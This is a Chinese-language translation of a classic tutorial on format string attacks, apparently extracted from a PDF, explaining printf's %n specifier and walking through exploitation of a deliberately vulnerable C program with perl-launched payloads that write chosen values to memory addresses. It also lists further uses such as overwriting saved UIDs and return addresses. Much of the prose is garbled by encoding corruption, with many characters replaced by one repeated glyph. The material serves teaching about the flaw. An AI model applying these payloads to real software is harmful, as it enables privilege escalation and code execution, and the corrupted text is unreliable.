格式
pdf格式笔记格式下载页码格式下载公文格式下载简报格式下载
化字符串攻击
格式化字符串漏洞同其他击多安全漏洞一击是由于程序击的击惰造成的。正在击击本当你文的击候~也击有程序击正在击代击~他的任击是,打印击出一字符串或者把击串拷击个写个个
到某击。他可以出如下的代击,冲区内写
printf("%s", str);
但是击了击击击击和提高效率~在源击中少击入并6个会写字击~他击击击, printf(str);
击什击不呢?干要和多余的嘛printf参数嘛打交道~干要花击击分解那些愚蠢的格式?printf的第一无击如何都击出的个参数会!程序击在不知不击中打击了一安全漏洞~可以击攻个
击者控制程序的击行~击就是不能击击的原因所在。
击什击程序击的是击击的写呢?他击入了一他想要逐字打印的字符串。击击上击字符串被个
printf函解击击一格式化字符串数个(formatstring)。函在其中击特殊的格式字符比数找
如"%d"。如果到格式字符~一击量的击就堆击中取出。明击~攻击者至少可以碰个参数从很
通击打印出堆击中的击些击击看程序的存。但是有些事情就不那击明击了~击击击的击击允击来内个
向行中程序的存里入任意击。运内写
Printf-学教你校忘击击击的击西
在击明如何击了自己的目的击用printf之前~我击击击深入击会printf提供的特性。假定击者以前用击printf函且知道普通的格式化特性~比如如何打印整型和字符串~如何数并
指定最大和最小字符串击度等。除了击些普通的特性之外~击有一些深和击击人知的特性奥。在击些特性中~下面介击的击我击比击有用,当
*在格式化字符串中任何位置都可以得到击出字符的。在格式化字符串中个数当碰
到"%n"的击候~在%n域之前击出的字符保存到下一里。例如~击了击取在个数会个参数两
个数格式化的字之击空击的偏量,
int pos, x = 235, y = 93;
printf("%d %n%d\n", x, &pos, y); printf("The offset was %d\n", pos); * %n格式返回击击被击出的字符目~而不是击击击出的字符目。把一字符串格数数当个
式化击出到一定击击击~击出字符串可能被截短。不考击截短的影~个冲区内响%n格式表示如果不被截短的偏量击(击出字符目数)。击了击明击一点~下面的代击击出会100而不是20, char buf[20];
int pos, x = 0;
snprintf(buf, sizeof buf, "%.100d%n", x, &pos);
printf("position: %d\n", pos); 击击的例子
除了击击抽象和击击的理击~我击使用一具的例子击明我击击才击击的原理。将会个体来
下面击击击的程序能击足击要求,个个
/*
* fmtme.c
* Format a value into a fixed-size buffer */
#include
int
main(int argc, char **argv)
{
char buf[100];
int x;
if(argc != 2)
exit(1);
x = 1;
snprintf(buf, sizeof buf, argv[1]); buf[sizeof buf - 1] = 0;
printf("buffer (%d): %s\n", strlen(buf), buf);
printf("x is %d/%#x (@ %p)\n", x, x, &x); return 0;
}
击击程序有点击明,第一~目的击击,一通击命令行击击击格式化击出到一定击个几很将个个
的击里。保击的大小限制不被突破。在击格式化后~把击出。除了把冲区并确冲区冲区它
参数个随个随格式化~击击置了一整型击后击出。击击量是后我击攻击的目击。击在击得我击注意的是击击击击始击击个1。
本文中所有的例子都是在x86 BSD/OS
4.1机器上完成。如果到莫桑比克击行任击超击你20年击击可能击会x86不熟悉~击是一个little-endian机器。击定在例子中多精度字的表示方法。在击里使用的具击击决数体数会
因击系击的差而不同~击些差表击在不同系击、操作系击、击境甚至是命令行击度。击异异体构
击击击击整~击些例子可以在其他x86平台上工作。通击努力也可以在其他系击的平台上体构工作。
格式化来吧!(Format Me!)
击在是我击戴上黑帽子击始以攻击者方式思考击击的击候了。我击击在手击有一击击程序。个知道击程序有一漏洞且了解程序击是在里犯击击的个个并哪(直接把用击击入的命令行作击参数snprintf的格式化参数)。我击击击有击于printf函深入的知击~知道如何用击些知击。击我数运
击击始修击我击的程序。吧
击击的击始~我击通击击击的击用程序。看击,从参数儿
% ./fmtme "hello world"
buffer (11): hello world
x is 1/0x1 (@ 0x804745c)
击在击击有什击特击的事情击生。程序把我击击入的字符串格式化击出到击里~然儿没冲区
后打印出的击度和击。程序击告击我击击量它数x的击是1(以十击制和十六击制分击击示)~x的存击地址是0x804745c。
接下我击击着使用一些格式指令。在下面的例子中我击打印出在格式化字符串之上来
击堆中的整型击,数
% ./fmtme "%x %x %x %x"
buffer (15): 1 f31 1031 3133 x is 1/0x1 (@ 0x804745c)
击击程序的快速分析可以揭示在击用个snprintf函击程序堆击的击,数划
Address Contents Description fp+8 Buffer pointer 4-byte address fp+12 Buffer length 4-byte integer fp+16 Format string 4-byte address fp+20 Variable x 4-byte integer fp+24 Variable buf 100 characters (击充,我考了参"击溢出机理分析冲区"一文~才看明白上面的容。击击介击一下,内当程序中击生函击用击~击算机做如下操作,首先把击入堆击数参数;然后保存指令寄存器(IP)中的容做击返回地址内(RET);第三放入堆击的是基址寄存器个(FP);然后把前的击指击当(SP)拷击到FP~
做击新的基地址;最后击本地击量留出一定空击~把SP减当数去适的击。 ----------------------------------------------------------------------
击用函当数snprintf ()击~堆击如下:
低存端 高存端内内
函局部击量 数sfp ret buf sizeof(buf) argv[1] x和buf
<- [ ] [ ] [ ] [ ] [ ] [ ] 数区据
击击 击底
)
前一击击行击果的四击击出击个运个(1 f31 1031 3133)是在格式化字符串后面堆击中接下来个参数的四,击量x和3个4字击整型(未击初始化)。
击在击主角出击了。作击一攻击者~我击要控制击存在击中的击量。击些击也是击击击个冲区
snprintf击用的参数!击我击看看击击击,个
% ./fmtme "aaaa %x %x"
buffer (15): aaaa 1 61616161
x is 1/0x1 (@ 0x804745c)
耶!我击提供的击四个'a'字符被拷击到buffer的起始击~然后被snprintf作击整型解击参数成0x61616161 ('a' is 0x61 in ASCII)。
X MARKS THE SPOT
所有的工作准击就击了~是击候把我击的攻击被击从状探击击击主击改击程序的击了。击击得击量"x"击?击我击击着改击的击。击了完成击任击~我击它个必击跳击snprintf的第一~就是击个参数它量x~最后使用%n格式入我击指定的地址。击起比击击情击击。用一例子可以解击写听来况个
清楚。
【注意,我击在击里使用PERL来参数击行程序~击可以击我击方便地在命令行中 放置任意字符】,
% perl -e 'system "./fmtme", "\x58\x74\x04\x08%d%n"'
buffer (5): X1
x is 5/x05 (@ 0x8047458)
x的击被改击了~但是究竟击生了什击?击击snprintf的看起如下所示,参数来
snprintf(buf, sizeof buf, "\x58\x74\x04\x08%d%n", x, 4 bytes from buf)
起先snprintf把击四字击拷入个buf。接下击来描%d格式打印出并x的击。最后遇到%n指令。击指令击堆中取出下一击~击击自个从个来buf的击四字击。击四字击是击才个个填
入的"\x58\x74\x04\x08"~或者解击成一整型个0x08047458。Snprintf然后入到目前击写止击出的字击目~数5~到
击地址个(0x08047458)。击地址就是击量个x的地址。击不是巧合。我击通击先前击程序的击击仔击击击了击数0x08047458。在击里~程序打印出我击感击趣的地址是十分有帮助的。更普遍的情是击击要通击况个debugger的帮来助击取
好棒耶!我击可以击取任意地址(几乎是任意地址;击度和不击NULL字符的地址一击击)并且可以入一击。但是我击能入一有用的击击写个写个?snprintf击能入到目前击写止击出的字符数写个决很数填目。如果我击想要入一比四大的小击~解方法击击,按照击击需要的击击充格式化字符串
直到我击得到正的击。但是如果是大击击击击确数怎?击里我击可以利用一事击,个%n会数击击不考击截短情击击击出的字符,况个数
% perl -e 'system "./fmtme", "\x54\x74\x04\x08%.500d%n"
buffer (99): %0000000 ... 0000 x is 504/x1f8 (@ 0x8047454)
%n写入x的击击504~比buf的击度限制99要击多了。我击可以通击指定一大的域击击个[1]
(field
width)提供任意大的击。但是击于小击击击击怎呢?我击可以通击多次写来构入的击合造任意击数(甚至是0)。如果我击每次以一字击的偏量出四字~我击可以造任意整个写个数构数
而不击限于至少四字击个(地址通常用四字击表示)。击了击明击一点~考击下面的四次写操作, Address A A+1 A+2 A+3 A+4 A+5 A+6 Write to A: 0x11 0x11 0x11 0x11 Write to A+1: 0x22 0x22 0x22 0x22 Write to A+2: 0x33 0x33 0x33 0x33 Write to A+3: 0x44 0x44 0x44 0x44 Memory: 0x11 0x22 0x33 0x44 0x44 0x44 0x44 在四次写操作完成后~整型击0x44332211留在地址击A的存中。由四内写次入操作的有效字击成。击构个灵数写技击使得我击更活地击击击击入~但是击击方法是有缺点的,击一个写会个它写击要用四次操作。而且覆盖目击地址击近的三字击。击要击行三次非击击的操作~击击技击不是通用的。并
击着怎(So what)?
So what? So what!? SO WHAT!#@?? 你内写可以向存中的任意地址入任意击(几乎是任意的)!!!你肯定可以想出利用击一点的好方法。击我击看看
* 覆盖一程序击存的个UID击~以降低和提升特击
* 覆盖一击行命令个
* 覆盖一返回地址~其个将重定向到包含shell code的击中冲区
更通俗地击,击有击程序你个(击所欲击)
今天我击都到了什击学?
* printf 比以前想象的你功能更强大
* 抄近路从来没都是有回击的(raphaelzl(小击熊))
* 一看起个来很会个杠来你微小的击击击攻击者一有力的杆用毁掉的生活(raphaelzl
(小击熊))
* 击有足击的击击、努力和一击击的击入字符串~可以把某人的击击击击击成全性的新击个你国
事件
[1] 在某些版本的glibc中printf的击击有缺陷。指定一大的域击击~当个printf会击致一个内冲区部击的下溢出(?underflow)并且击致程序崩击。因此~在某些版本的linux下不可能使用大于几来会个千的域击击攻击程序。例如,下面的代击在有击缺陷的系击上击致segmentation
fault,
printf("%.9999d", 1);